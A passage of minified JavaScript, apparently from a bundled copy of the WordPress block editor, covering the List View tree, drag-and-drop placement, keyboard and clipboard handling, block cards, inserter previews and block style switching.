if(fe("core/block-editor/duplicate",e)){e.preventDefault();const{blocksToUpdate:t,firstBlockRootClientId:n}=me();if(Z(t).every((e=>!!e&&(0,c.hasBlockSupport)(e.name,"multiple",!0)&&H(e.name,n)))){const e=await A(t,!1);null!=e&&e.length&&_e(e[0],!1)}}else if(fe("core/block-editor/insert-before",e)){e.preventDefault();const{blocksToUpdate:t}=me();await F(t[0]);const n=G();V(void 0),_e(n[0],!1)}else if(fe("core/block-editor/insert-after",e)){e.preventDefault();const{blocksToUpdate:t}=me();await z(t.at(-1));const n=G();V(void 0),_e(n[0],!1)}else if(fe("core/block-editor/select-all",e)){e.preventDefault();const{firstBlockRootClientId:t,selectedBlockClientIds:n}=me(),o=W(t);if(!o.length)return;if(sg()(n,o)&&t&&t!==he)return void _e(t,!0);L(o[0],o[o.length-1],null)}else if(fe("core/block-editor/collapse-list-view",e)){e.preventDefault();const{firstBlockClientId:t}=me(),n=K(t,!1);se(),re(n)}else if(fe("core/block-editor/group",e)){const{blocksToUpdate:t}=me();if(t.length>1&&Y(t)){e.preventDefault();const n=Z(t),o=X(),i=(0,c.switchToBlockType)(n,o);D(t,i),(0,br.speak)((0,Je.__)("Selected blocks are grouped."));const r=G();V(void 0),_e(r[0],!1)}}},onMouseEnter:ve,onMouseLeave:be,onFocus:ve,onBlur:be,level:g,position:h,rowCount:f,path:b,id:`list-view-${ce}-block-${t}`,"data-block":t,"data-expanded":T?k:void 0,ref:S,children:[(0,Nt.jsx)(ne.__experimentalTreeGridCell,{className:"block-editor-list-view-block__contents-cell",colSpan:Pe,ref:x,"aria-selected":!!l,children:({ref:e,tabIndex:t,onFocus:n})=>(0,Nt.jsxs)("div",{className:"block-editor-list-view-block__contents-container",children:[(0,Nt.jsx)(Mx,{block:J,onClick:ke,onContextMenu:xe,onMouseDown:Se,onToggleExpanded:ye,isSelected:l,position:h,siblingBlockCount:m,level:g,ref:e,tabIndex:Ne?0:t,onFocus:n,isExpanded:T?k:void 0,selectedClientIds:_,ariaDescribedBy:ie}),(0,Nt.jsx)(kx,{id:ie,children:[Be,Ie].filter(Boolean).join(" ")})]})}),je&&(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsxs)(ne.__experimentalTreeGridCell,{className:Ee,withoutGridItem:!0,children:[(0,Nt.jsx)(ne.__experimentalTreeGridItem,{children:({ref:e,tabIndex:n,onFocus:o})=>(0,Nt.jsx)(l_,{orientation:"vertical",clientIds:[t],ref:e,tabIndex:n,onFocus:o})}),(0,Nt.jsx)(ne.__experimentalTreeGridItem,{children:({ref:e,tabIndex:n,onFocus:o})=>(0,Nt.jsx)(s_,{orientation:"vertical",clientIds:[t],ref:e,tabIndex:n,onFocus:o})})]})}),oe&&ae&&(0,Nt.jsx)(ne.__experimentalTreeGridCell,{className:Te,"aria-selected":!!l,ref:w,children:({ref:e,tabIndex:t,onFocus:n})=>(0,Nt.jsx)(ae,{clientIds:Re,block:J,icon:ws,label:(0,Je.__)("Options"),popoverProps:{anchor:we},toggleProps:{ref:e,className:"block-editor-list-view-block__menu",tabIndex:t,onClick:Ce,onFocus:n},disableOpenOnArrowDown:!0,expand:re,expandedState:ue,setInsertedBlock:de,__experimentalSelectBlock:_e})})]})}));function Ax(e,t,n,o){var i;return(null==n?void 0:n.includes(e.clientId))?0:(null!==(i=t[e.clientId])&&void 0!==i?i:o)?1+e.innerBlocks.reduce(Lx(t,n,o),0):1}const Lx=(e,t,n)=>(o,i)=>{var r;return(null==t?void 0:t.includes(i.clientId))?o:(null!==(r=e[i.clientId])&&void 0!==r?r:n)&&i.innerBlocks.length>0?o+Ax(i,e,t,n):o+1},Dx=()=>{},Ox=(0,u.memo)((function e(t){const{blocks:n,selectBlock:o=Dx,showBlockMovers:i,selectedClientIds:r,level:l=1,path:s="",isBranchSelected:a=!1,listPosition:c=0,fixedListWindow:u,isExpanded:p,parentId:h,shouldShowInnerBlocks:g=!0,isSyncedBranch:f=!1,showAppender:m=!0}=t,v=Pk(h),b=f||!(null==v||!v.isSynced),k=(0,d.useSelect)((e=>!h||e(hs).canEditBlock(h)),[h]),{blockDropPosition:_,blockDropTargetIndex:y,firstDraggedBlockIndex:x,blockIndexes:S,expandedState:w,draggedClientIds:C}=bx();if(!k)return null;const B=m&&1===l,I=n.filter(Boolean),j=I.length,E=B?j+1:j;let T=c;return(0,Nt.jsxs)(Nt.Fragment,{children:[I.map(((t,n)=>{var c;const{clientId:h,innerBlocks:f}=t;n>0&&(T+=Ax(I[n-1],w,C,p));const m=!(null==C||!C.includes(h)),{displacement:v,isAfterDraggedBlocks:k,isNesting:B}=function({blockIndexes:e,blockDropTargetIndex:t,blockDropPosition:n,clientId:o,firstDraggedBlockIndex:i,isDragged:r}){let l,s,a;if(!r){s=!1;const r=e[o];a=r>i,null!=t&&void 0!==i?void 0!==r&&(l=r>=i&&r<t?"up":r<i&&r>=t?"down":"normal",s="number"==typeof t&&t-1===r&&"inside"===n):null===t&&void 0!==i?l=void 0!==r&&r>=i?"up":"normal":null!=t&&void 0===i?void 0!==r&&(l=r<t?"normal":"down"):null===t&&(l="normal")}return{displacement:l,isNesting:s,isAfterDraggedBlocks:a}}({blockIndexes:S,blockDropTargetIndex:y,blockDropPosition:_,clientId:h,firstDraggedBlockIndex:x,isDragged:m}),{itemInView:P}=u,M=P(T),R=n+1,N=s.length>0?`${s}_${R}`:`${R}`,A=!(null==f||!f.length),L=A&&g?null!==(c=w[h])&&void 0!==c?c:p:void 0,D=((e,t)=>Array.isArray(t)&&t.length?-1!==t.indexOf(e):t===e)(h,r),O=a||D&&A,z=m||M||D&&h===r[0]||0===n||n===j-1;return(0,Nt.jsxs)(d.AsyncModeProvider,{value:!D,children:[z&&(0,Nt.jsx)(Nx,{block:t,selectBlock:o,isSelected:D,isBranchSelected:O,isDragged:m,level:l,position:R,rowCount:E,siblingBlockCount:j,showBlockMovers:i,path:N,isExpanded:!m&&L,listPosition:T,selectedClientIds:r,isSyncedBranch:b,displacement:v,isAfterDraggedBlocks:k,isNesting:B}),!z&&(0,Nt.jsx)("tr",{children:(0,Nt.jsx)("td",{className:"block-editor-list-view-placeholder"})}),A&&L&&!m&&(0,Nt.jsx)(e,{parentId:h,blocks:f,selectBlock:o,showBlockMovers:i,level:l+1,path:N,listPosition:T+1,fixedListWindow:u,isBranchSelected:O,selectedClientIds:r,isExpanded:p,isSyncedBranch:b})]},h)})),B&&(0,Nt.jsx)(ne.__experimentalTreeGridRow,{level:l,setSize:E,positionInSet:E,isExpanded:!0,children:(0,Nt.jsx)(ne.__experimentalTreeGridCell,{children:e=>(0,Nt.jsx)(yx,{clientId:h,nestingLevel:l,blockCount:j,...e})})})]})}));function zx({draggedBlockClientId:e,listViewRef:t,blockDropTarget:n}){const o=Pk(e),i=pd({clientId:e,context:"list-view"}),{rootClientId:r,clientId:l,dropPosition:s}=n||{},[a,c]=(0,u.useMemo)((()=>t.current?[r?t.current.querySelector(`[data-block="${r}"]`):void 0,l?t.current.querySelector(`[data-block="${l}"]`):void 0]:[]),[t,r,l]),d=c||a,p=(0,Je.isRTL)(),h=(0,u.useCallback)(((e,t)=>{if(!d)return 0;let n=d.offsetWidth;const o=(0,Cp.getScrollContainer)(d,"horizontal"),i=d.ownerDocument,r=o===i.body||o===i.documentElement;if(o&&!r){const i=o.getBoundingClientRect(),r=(0,Je.isRTL)()?i.right-e.right:e.left-i.left,l=o.clientWidth;if(l<n+r&&(n=l-r),!p&&e.left+t<i.left)return n-=i.left-e.left,n;if(p&&e.right-t>i.right)return n-=e.right-i.right,n}return n-t}),[p,d]),g=(0,u.useMemo)((()=>{if(!d)return{};const e=d.getBoundingClientRect();return{width:h(e,0)}}),[h,d]),f=(0,u.useMemo)((()=>{if(!d)return{};const e=(0,Cp.getScrollContainer)(d),t=d.ownerDocument,n=e===t.body||e===t.documentElement;if(e&&!n){const t=e.getBoundingClientRect(),n=d.getBoundingClientRect(),o=p?t.right-n.right:n.left-t.left;if(!p&&t.left>n.left)return{transform:`translateX( ${o}px )`};if(p&&t.right<n.right)return{transform:`translateX( ${-1*o}px )`}}return{}}),[p,d]),m=(0,u.useMemo)((()=>{if(!a)return 1;const e=parseInt(a.getAttribute("aria-level"),10);return e?e+1:1}),[a]),v=(0,u.useMemo)((()=>!!d&&d.classList.contains("is-branch-selected")),[d]),b=(0,u.useMemo)((()=>{if(d&&("top"===s||"bottom"===s||"inside"===s))return{contextElement:d,getBoundingClientRect(){const e=d.getBoundingClientRect();let t=e.left,n=0;const o=(0,Cp.getScrollContainer)(d,"horizontal"),i=d.ownerDocument,r=o===i.body||o===i.documentElement;if(o&&!r){const e=o.getBoundingClientRect(),n=p?o.offsetWidth-o.clientWidth:0;t<e.left+n&&(t=e.left+n)}n="top"===s?e.top-2*e.height:e.top;const l=h(e,0),a=e.height;return new window.DOMRect(t,n,l,a)}}}),[d,s,h,p]);return d?(0,Nt.jsx)(ne.Popover,{animate:!1,anchor:b,focusOnMount:!1,className:"block-editor-list-view-drop-indicator--preview",variant:"unstyled",flip:!1,resize:!0,children:(0,Nt.jsx)("div",{style:g,className:ms("block-editor-list-view-drop-indicator__line",{"block-editor-list-view-drop-indicator__line--darker":v}),children:(0,Nt.jsxs)("div",{className:"block-editor-list-view-leaf","aria-level":m,children:[(0,Nt.jsxs)("div",{className:ms("block-editor-list-view-block-select-button","block-editor-list-view-block-contents"),style:f,children:[(0,Nt.jsx)(jx,{onClick:()=>{}}),(0,Nt.jsx)(Fa,{icon:null==o?void 0:o.icon,showColors:!0,context:"list-view"}),(0,Nt.jsx)(ne.__experimentalHStack,{alignment:"center",className:"block-editor-list-view-block-select-button__label-wrapper",justify:"flex-start",spacing:1,children:(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__title",children:(0,Nt.jsx)(ne.__experimentalTruncate,{ellipsizeMode:"auto",children:i})})})]}),(0,Nt.jsx)("div",{className:"block-editor-list-view-block__menu-cell"})]})})}):null}const Fx=24;function Vx(e,t){const n=e[t+1];return n&&n.isDraggedBlock?Vx(e,t+1):n}const Hx=["top","bottom"];function Gx(e,t,n=!1){let o,i,r,l,s;for(let n=0;n<e.length;n++){const a=e[n];if(a.isDraggedBlock)continue;const c=a.element.getBoundingClientRect(),[u,d]=fg(t,c,Hx),p=mg(t,c);if(void 0===r||u<r||p){r=u;const t=e.indexOf(a),n=e[t-1];if("top"===d&&n&&n.rootClientId===a.rootClientId&&!n.isDraggedBlock?(i=n,o="bottom",l=n.element.getBoundingClientRect(),s=t-1):(i=a,o=d,l=c,s=t),p)break}}if(!i)return;const a=function(e,t){const n=[];let o=e;for(;o;)n.push({...o}),o=t.find((e=>e.clientId===o.rootClientId));return n}(i,e),c="bottom"===o;if(c&&i.canInsertDraggedBlocksAsChild&&(i.innerBlockCount>0&&i.isExpanded||function(e,t,n=1,o=!1){const i=o?t.right-n*Fx:t.left+n*Fx;return(o?e.x<i-Fx:e.x>i+Fx)&&e.y<t.bottom}(t,l,a.length,n))){const e=i.isExpanded?0:i.innerBlockCount||0;return{rootClientId:i.clientId,clientId:i.clientId,blockIndex:e,dropPosition:"inside"}}if(c&&i.rootClientId&&function(e,t,n=1,o=!1){const i=o?t.right-n*Fx:t.left+n*Fx;return o?e.x>i:e.x<i}(t,l,a.length,n)){const r=Vx(e,s),c=i.nestingLevel,u=r?r.nestingLevel:1;if(c&&u){const d=function(e,t,n=1,o=!1){const i=o?t.right-n*Fx:t.left+n*Fx,r=o?i-e.x:e.x-i,l=Math.round(r/Fx);return Math.abs(l)}(t,l,a.length,n),p=Math.max(Math.min(d,c-u),0);if(a[p]){let t=i.blockIndex;if(a[p].nestingLevel===(null==r?void 0:r.nestingLevel))t=null==r?void 0:r.blockIndex;else for(let n=s;n>=0;n--){const o=e[n];if(o.rootClientId===a[p].rootClientId){t=o.blockIndex+1;break}}return{rootClientId:a[p].rootClientId,clientId:i.clientId,blockIndex:t,dropPosition:o}}}}if(!i.canInsertDraggedBlocksAsSibling)return;const u=c?1:0;return{rootClientId:i.rootClientId,clientId:i.clientId,blockIndex:i.blockIndex+u,dropPosition:o}}const $x={leading:!1,trailing:!0};const Ux=(e,t)=>"clear"===t.type?{}:Array.isArray(t.clientIds)?{...e,...t.clientIds.reduce(((e,n)=>({...e,[n]:"expand"===t.type})),{})}:e,Wx=(0,u.forwardRef)((function e({id:t,blocks:n,dropZoneElement:o,showBlockMovers:i=!1,isExpanded:r=!1,showAppender:l=!1,blockSettingsMenu:s=Ry,rootClientId:a,description:h,onSelect:g,additionalBlockContent:f},m){n&&Ye()("`blocks` property in `wp.blockEditor.__experimentalListView`",{since:"6.3",alternative:"`rootClientId` property"});const v=(0,p.useInstanceId)(e),{clientIdsTree:b,draggedClientIds:k,selectedClientIds:_}=function({blocks:e,rootClientId:t}){return(0,d.useSelect)((n=>{const{getDraggedBlockClientIds:o,getSelectedBlockClientIds:i,getEnabledClientIdsTree:r}=ge(n(hs));return{selectedClientIds:i(),draggedClientIds:o(),clientIdsTree:null!=e?e:r(t)}}),[e,t])}({blocks:n,rootClientId:a}),y=function(e){const t=(0,u.useMemo)((()=>{const t={};let n=0;const o=e=>{e.forEach((e=>{t[e.clientId]=n,n++,e.innerBlocks.length>0&&o(e.innerBlocks)}))};return o(e),t}),[e]);return t}(b),{getBlock:x}=(0,d.useSelect)(hs),{visibleBlockCount:S}=(0,d.useSelect)((e=>{const{getGlobalBlockCount:t,getClientIdsOfDescendants:n}=e(hs),o=(null==k?void 0:k.length)>0?n(k).length+1:0;return{visibleBlockCount:t()-o}}),[k]),{updateBlockSelection:w}=function(){const{clearSelectedBlock:e,multiSelect:t,selectBlock:n}=(0,d.useDispatch)(hs),{getBlockName:o,getBlockParents:i,getBlockSelectionStart:r,getSelectedBlockClientIds:l,hasMultiSelection:s,hasSelectedBlock:a}=(0,d.useSelect)(hs),{getBlockType:p}=(0,d.useSelect)(c.store),h=(0,u.useCallback)((async(c,u,d,h)=>{if((null==c||!c.shiftKey)&&(null==c?void 0:c.keyCode)!==sd.ESCAPE)return void n(u,h);c.preventDefault();const g="keydown"===c.type&&c.keyCode===sd.ESCAPE,f="keydown"===c.type&&(c.keyCode===sd.UP||c.keyCode===sd.DOWN||c.keyCode===sd.HOME||c.keyCode===sd.END);if(!f&&!a()&&!s())return void n(u,null);const m=l(),v=[...i(u),u];if((g||f&&!m.some((e=>v.includes(e))))&&await e(),!g){let e=r(),n=u;f&&(a()||s()||(e=u),d&&(n=d));const o=i(e),l=i(n),{start:c,end:p}=function(e,t,n,o){const i=[...n,e],r=[...o,t],l=Math.min(i.length,r.length)-1;return{start:i[l],end:r[l]}}(e,n,o,l);await t(c,p,null)}const b=l();if((c.keyCode===sd.HOME||c.keyCode===sd.END)&&b.length>1)return;const k=m.filter((e=>!b.includes(e)));let _;if(1===k.length){var y;const e=null===(y=p(o(k[0])))||void 0===y?void 0:y.title;e&&(_=(0,Je.sprintf)(/* translators: %s: block name */ /* translators: %s: block name */(0,Je.__)("%s deselected."),e))}else k.length>1&&(_=(0,Je.sprintf)(/* translators: %s: number of deselected blocks */ /* translators: %s: number of deselected blocks */(0,Je.__)("%s blocks deselected."),k.length));_&&(0,br.speak)(_,"assertive")}),[e,o,p,i,r,l,s,a,t,n]);return{updateBlockSelection:h}}(),[C,B]=(0,u.useReducer)(Ux,{}),[I,j]=(0,u.useState)(null),{setSelectedTreeId:E}=function({firstSelectedBlockClientId:e,setExpandedState:t}){const[n,o]=(0,u.useState)(null),{selectedBlockParentClientIds:i}=(0,d.useSelect)((t=>{const{getBlockParents:n}=t(hs);return{selectedBlockParentClientIds:n(e,!1)}}),[e]);return(0,u.useEffect)((()=>{n!==e&&null!=i&&i.length&&t({type:"expand",clientIds:i})}),[e,i,n,t]),{setSelectedTreeId:o}}({firstSelectedBlockClientId:_[0],setExpandedState:B}),T=(0,u.useCallback)(((e,t,n)=>{w(e,t,null,n),E(t),g&&g(x(t))}),[E,w,g,x]),{ref:P,target:M}=function({dropZoneElement:e,expandedState:t,setExpandedState:n}){const{getBlockRootClientId:o,getBlockIndex:i,getBlockCount:r,getDraggedBlockClientIds:l,canInsertBlocks:s}=(0,d.useSelect)(hs),[a,c]=(0,u.useState)(),{rootClientId:h,blockIndex:g}=a||{},f=kg(h,g),m=(0,Je.isRTL)(),v=(0,p.usePrevious)(h),b=(0,u.useCallback)(((e,t)=>{const{rootClientId:o}=t||{};o&&("inside"!==(null==t?void 0:t.dropPosition)||e[o]||n({type:"expand",clientIds:[o]}))}),[n]),k=(0,p.useThrottle)(b,500,$x);(0,u.useEffect)((()=>{"inside"===(null==a?void 0:a.dropPosition)&&v===(null==a?void 0:a.rootClientId)?k(t,a):k.cancel()}),[t,v,a,k]);const _=l(),y=(0,p.useThrottle)((0,u.useCallback)(((e,t)=>{const n={x:e.clientX,y:e.clientY},l=!(null==_||!_.length),a=Gx(Array.from(t.querySelectorAll("[data-block]")).map((e=>{const t=e.dataset.block,n="true"===e.dataset.expanded,a=e.classList.contains("is-dragging"),c=parseInt(e.getAttribute("aria-level"),10),u=o(t);return{clientId:t,isExpanded:n,rootClientId:u,blockIndex:i(t),element:e,nestingLevel:c||void 0,isDraggedBlock:!!l&&a,innerBlockCount:r(t),canInsertDraggedBlocksAsSibling:!l||s(_,u),canInsertDraggedBlocksAsChild:!l||s(_,t)}})),n,m);a&&c(a)}),[s,_,r,i,o,m]),50);return{ref:(0,p.__experimentalUseDropZone)({dropZoneElement:e,onDrop(e){y.cancel(),a&&f(e),c(void 0)},onDragLeave(){y.cancel(),c(null)},onDragOver(e){y(e,e.currentTarget)},onDragEnd(){y.cancel(),c(void 0)}}),target:a}}({dropZoneElement:o,expandedState:C,setExpandedState:B}),R=(0,u.useRef)(),N=function({selectBlock:e}){const t=(0,d.useRegistry)(),{getBlockOrder:n,getBlockRootClientId:o,getBlocksByClientId:i,getPreviousBlockClientId:r,getSelectedBlockClientIds:l,getSettings:s,canInsertBlockType:a,canRemoveBlocks:u}=(0,d.useSelect)(hs),{flashBlock:h,removeBlocks:g,replaceBlocks:f,insertBlocks:m}=(0,d.useDispatch)(hs),v=Up();return(0,p.useRefEffect)((d=>{function p(t,n){n&&e(void 0,t,null,null),Rx(t,d)}function b(e){var b,k;if(e.defaultPrevented)return;if(!d.contains(e.target.ownerDocument.activeElement))return;const _=null===(b=e.target.ownerDocument.activeElement)||void 0===b?void 0:b.closest("[role=row]"),y=null==_||null===(k=_.dataset)||void 0===k?void 0:k.block;if(!y)return;const{blocksToUpdate:x,firstBlockClientId:S,firstBlockRootClientId:w,originallySelectedBlockClientIds:C}=function(e){const t=l(),n=t.includes(e),i=n?t[0]:e;return{blocksToUpdate:n?t:[e],firstBlockClientId:i,firstBlockRootClientId:o(i),originallySelectedBlockClientIds:t}}(y);if(0!==x.length)if(e.preventDefault(),("copy"===e.type||"cut"===e.type)&&(1===x.length&&h(x[0]),v(e.type,x),Zp(e,i(x),t)),"cut"===e.type){var B;if(!u(x))return;let e=null!==(B=r(S))&&void 0!==B?B:w;g(x,!1);const t=C.length>0&&0===l().length;e||(e=n()[0]),p(e,t)}else if("paste"===e.type){var I;const{__experimentalCanUserUseUnfilteredHTML:t}=s(),n=function(e,t){const{plainText:n,html:o,files:i}=Wp(e);let r=[];if(i.length){const e=(0,c.getBlockTransforms)("from");r=i.reduce(((t,n)=>{const o=(0,c.findTransform)(e,(e=>"files"===e.type&&e.isMatch([n])));return o&&t.push(o.transform([n])),t}),[]).flat()}else r=(0,c.pasteHandler)({HTML:o,plainText:n,mode:"BLOCKS",canUserUseUnfilteredHTML:t});return r}(e,t);if(1===x.length){const[e]=x;var j;if(n.every((t=>a(t.name,e))))return m(n,void 0,e),void p(null===(j=n[0])||void 0===j?void 0:j.clientId,!1)}f(x,n,n.length-1,-1),p(null===(I=n[0])||void 0===I?void 0:I.clientId,!1)}}return d.ownerDocument.addEventListener("copy",b),d.ownerDocument.addEventListener("cut",b),d.ownerDocument.addEventListener("paste",b),()=>{d.ownerDocument.removeEventListener("copy",b),d.ownerDocument.removeEventListener("cut",b),d.ownerDocument.removeEventListener("paste",b)}}),[])}({selectBlock:T}),A=(0,p.useMergeRefs)([N,R,P,m]);(0,u.useEffect)((()=>{null!=_&&_.length&&Rx(_[0],null==R?void 0:R.current)}),[]);const L=(0,u.useCallback)((e=>{if(!e)return;const t=Array.isArray(e)?e:[e];B({type:"expand",clientIds:t})}),[B]),D=(0,u.useCallback)((e=>{e&&B({type:"collapse",clientIds:[e]})}),[B]),O=(0,u.useCallback)((()=>{B({type:"clear"})}),[B]),z=(0,u.useCallback)((e=>{var t;L(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[L]),F=(0,u.useCallback)((e=>{var t;D(null==e||null===(t=e.dataset)||void 0===t?void 0:t.block)}),[D]),V=(0,u.useCallback)(((e,t,n)=>{var o,i;e.shiftKey&&w(e,null==t||null===(o=t.dataset)||void 0===o?void 0:o.block,null==n||null===(i=n.dataset)||void 0===i?void 0:i.block)}),[w]);!function({collapseAll:e,expand:t}){const{expandedBlock:n,getBlockParents:o}=(0,d.useSelect)((e=>{const{getBlockParents:t,getExpandedBlock:n}=ge(e(hs));return{expandedBlock:n(),getBlockParents:t}}),[]);(0,u.useEffect)((()=>{if(n){const i=o(n,!1);e(),t(i)}}),[e,t,n,o])}({collapseAll:O,expand:L});const H=null==k?void 0:k[0],{blockDropTargetIndex:G,blockDropPosition:$,firstDraggedBlockIndex:U}=(0,u.useMemo)((()=>{let e,t;if(null!=M&&M.clientId){const t=y[M.clientId];e=void 0===t||"top"===(null==M?void 0:M.dropPosition)?t:t+1}else null===M&&(e=null);if(H){const e=y[H];t=void 0===e||"top"===(null==M?void 0:M.dropPosition)?e:e+1}return{blockDropTargetIndex:e,blockDropPosition:null==M?void 0:M.dropPosition,firstDraggedBlockIndex:t}}),[M,y,H]),W=(0,u.useMemo)((()=>({blockDropPosition:$,blockDropTargetIndex:G,blockIndexes:y,draggedClientIds:k,expandedState:C,expand:L,firstDraggedBlockIndex:U,collapse:D,collapseAll:O,BlockSettingsMenu:s,listViewInstanceId:v,AdditionalBlockContent:f,insertedBlock:I,setInsertedBlock:j,treeGridElementRef:R,rootClientId:a})),[$,G,y,k,C,L,U,D,O,s,v,f,I,j,a]),[K]=(0,p.__experimentalUseFixedWindowList)(R,32,S,{expandedState:C,useWindowing:!0,windowOverscan:40});if(!b.length&&!l)return null;const Z=h&&`block-editor-list-view-description-${v}`;return(0,Nt.jsxs)(d.AsyncModeProvider,{value:!0,children:[(0,Nt.jsx)(zx,{draggedBlockClientId:H,listViewRef:R,blockDropTarget:M}),h&&(0,Nt.jsx)(ne.VisuallyHidden,{id:Z,children:h}),(0,Nt.jsx)(ne.__experimentalTreeGrid,{id:t,className:ms("block-editor-list-view-tree",{"is-dragging":(null==k?void 0:k.length)>0&&void 0!==G}),"aria-label":(0,Je.__)("Block navigation structure"),ref:A,onCollapseRow:F,onExpandRow:z,onFocusRow:V,applicationAriaLabel:(0,Je.__)("Block navigation structure"),"aria-describedby":Z,style:{"--wp-admin--list-view-dragged-items-height":null!=k&&k.length?32*(k.length-1)+"px":null},children:(0,Nt.jsx)(vx.Provider,{value:W,children:(0,Nt.jsx)(Ox,{blocks:b,parentId:a,selectBlock:T,showBlockMovers:i,fixedListWindow:K,selectedClientIds:_,isExpanded:r,showAppender:l})})})]})})),Kx=(0,u.forwardRef)(((e,t)=>(0,Nt.jsx)(Wx,{ref:t,...e,showAppender:!1,rootClientId:null,onSelect:null,additionalBlockContent:null,blockSettingsMenu:void 0})));function Zx({isEnabled:e,onToggle:t,isOpen:n,innerRef:o,...i}){return(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,...i,ref:o,icon:mx,"aria-expanded":n,"aria-haspopup":"true",onClick:e?t:void 0/* translators: button label text should, if possible, be under 16 characters. */,label:(0,Je.__)("List view"),className:"block-editor-block-navigation","aria-disabled":!e})}const qx=(0,u.forwardRef)((function({isDisabled:e,...t},n){Ye()("wp.blockEditor.BlockNavigationDropdown",{since:"6.1",alternative:"wp.components.Dropdown and wp.blockEditor.ListView"});const o=(0,d.useSelect)((e=>!!e(hs).getBlockCount()),[])&&!e;return(0,Nt.jsx)(ne.Dropdown,{contentClassName:"block-editor-block-navigation__popover",popoverProps:{placement:"bottom-start"},renderToggle:({isOpen:e,onToggle:i})=>(0,Nt.jsx)(Zx,{...t,innerRef:n,isOpen:e,onToggle:i,isEnabled:o}),renderContent:()=>(0,Nt.jsxs)("div",{className:"block-editor-block-navigation__container",children:[(0,Nt.jsx)("p",{className:"block-editor-block-navigation__label",children:(0,Je.__)("List view")}),(0,Nt.jsx)(Kx,{})]})})})),{Badge:Yx}=ge(ne.privateApis),Xx=function({title:e,icon:t,description:n,blockType:o,className:i,name:r}){o&&(Ye()("`blockType` property in `BlockCard component`",{since:"5.7",alternative:"`title, icon and description` properties"}),({title:e,icon:t,description:n}=o));const{parentNavBlockClientId:l}=(0,d.useSelect)((e=>{const{getSelectedBlockClientId:t,getBlockParentsByBlockName:n}=e(hs);return{parentNavBlockClientId:n(t(),"core/navigation",!0)[0]}}),[]),{selectBlock:s}=(0,d.useDispatch)(hs);return(0,Nt.jsxs)("div",{className:ms("block-editor-block-card",i),children:[l&&(0,Nt.jsx)(ne.Button,{onClick:()=>s(l),label:(0,Je.__)("Go to parent Navigation block"),style:{minWidth:24,padding:0},icon:(0,Je.isRTL)()?Xk:Qk,size:"small"}),(0,Nt.jsx)(Fa,{icon:t,showColors:!0}),(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:1,children:[(0,Nt.jsxs)("h2",{className:"block-editor-block-card__title",children:[(0,Nt.jsx)("span",{className:"block-editor-block-card__name",children:null!=r&&r.length?r:e}),!(null==r||!r.length)&&(0,Nt.jsx)(Yx,{children:e})]}),n&&(0,Nt.jsx)(ne.__experimentalText,{className:"block-editor-block-card__description",children:n})]})]})},Qx=function({item:e}){var t,n;const{name:o,title:i,icon:r,description:l,initialAttributes:s}=e,a=(0,c.getBlockType)(o),u=(0,c.isReusableBlock)(e);return(0,Nt.jsxs)("div",{className:"block-editor-inserter__preview-container",children:[(0,Nt.jsx)("div",{className:"block-editor-inserter__preview",children:u||a.example?(0,Nt.jsx)("div",{className:"block-editor-inserter__preview-content",children:(0,Nt.jsx)(hh,{__experimentalPadding:16,viewportWidth:null!==(t=null===(n=a.example)||void 0===n?void 0:n.viewportWidth)&&void 0!==t?t:500,blocks:a.example?(0,c.getBlockFromExample)(e.name,{attributes:{...a.example.attributes,...s},innerBlocks:a.example.innerBlocks}):(0,c.createBlock)(o,s)})}):(0,Nt.jsx)("div",{className:"block-editor-inserter__preview-content-missing",children:(0,Je.__)("No Preview Available.","kubio")})}),!u&&(0,Nt.jsx)(Xx,{title:i,icon:r,description:l})]})};function Jx({genericPreviewBlock:e,style:t,className:n,activeStyle:o}){var i;const r=null===(i=(0,c.getBlockType)(e.name))||void 0===i?void 0:i.example,l=x_(n,o,t),s=(0,u.useMemo)((()=>({...e,title:t.label||t.name,description:t.description,initialAttributes:{...e.attributes,className:l+" block-editor-block-styles__block-preview-container"},example:r})),[e,l]);return(0,Nt.jsx)(Qx,{item:s})}const eS=()=>{},tS=function({clientId:e,onSwitch:t=eS,onHoverClassName:n=eS}){const{onSelect:o,stylesToRender:i,activeStyle:r,genericPreviewBlock:l,className:s}=w_({clientId:e,onSwitch:t}),[a,c]=(0,u.useState)(null),d=(0,p.useViewportMatch)("medium","<");if(!i||0===i.length)return null;const h=(0,p.debounce)(c,250),g=e=>{var t;a!==e?(h(e),n(null!==(t=null==e?void 0:e.name)&&void 0!==t?t:null)):h.cancel()};return(0,Nt.jsxs)("div",{className:"block-editor-block-styles",children:[(0,Nt.jsx)("div",{className:"block-editor-block-styles__variants",children:i.map((e=>{const t=e.label||e.name;return(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,className:ms("block-editor-block-styles__item",{"is-active":r.name===e.name}),variant:"secondary",label:t,onMouseEnter:()=>g(e),onFocus:()=>g(e),onMouseLeave:()=>g(null),onBlur:()=>g(null),onClick:()=>(e=>{o(e),n(null),c(null),h.cancel()})(e),"aria-current":r.name===e.name,children:(0,Nt.jsx)(ne.__experimentalTruncate,{numberOfLines:1,className:"block-editor-block-styles__item-text",children:t})},e.name)}))}),a&&!d&&(0,Nt.jsx)(ne.Popover,{placement:"left-start",offset:34,focusOnMount:!1,children:(0,Nt.jsx)("div",{className:"block-editor-block-styles__preview-panel",onMouseLeave:()=>g(null),children:(0,Nt.jsx)(Jx,{activeStyle:r,className:s,genericPreviewBlock:l,style:a})})})]})},nS={0:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z"})}),1:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z"})}),2:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 